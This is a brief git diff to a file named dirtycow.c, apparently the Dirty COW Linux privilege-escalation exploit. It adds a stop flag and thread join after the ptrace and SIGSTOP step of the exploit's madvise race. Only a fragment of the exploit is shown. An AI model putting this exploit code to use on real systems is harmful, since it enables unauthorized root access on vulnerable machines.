diff --git a/dirtycow.c b/dirtycow.c index 48799e2..01665f4 100644 --- a/dirtycow.c +++ b/dirtycow.c @@ -221,6 +221,8 @@ static void exploit(struct mem_arg *mem_arg) pthread_create(&pth1, NULL, madviseThread, mem_arg); ptrace(PTRACE_TRACEME); kill(getpid(),SIGSTOP); + // we're done, tell madviseThread to stop and wait for it + mem_arg->stop = 1; pthread_join(pth1, NULL); } } else {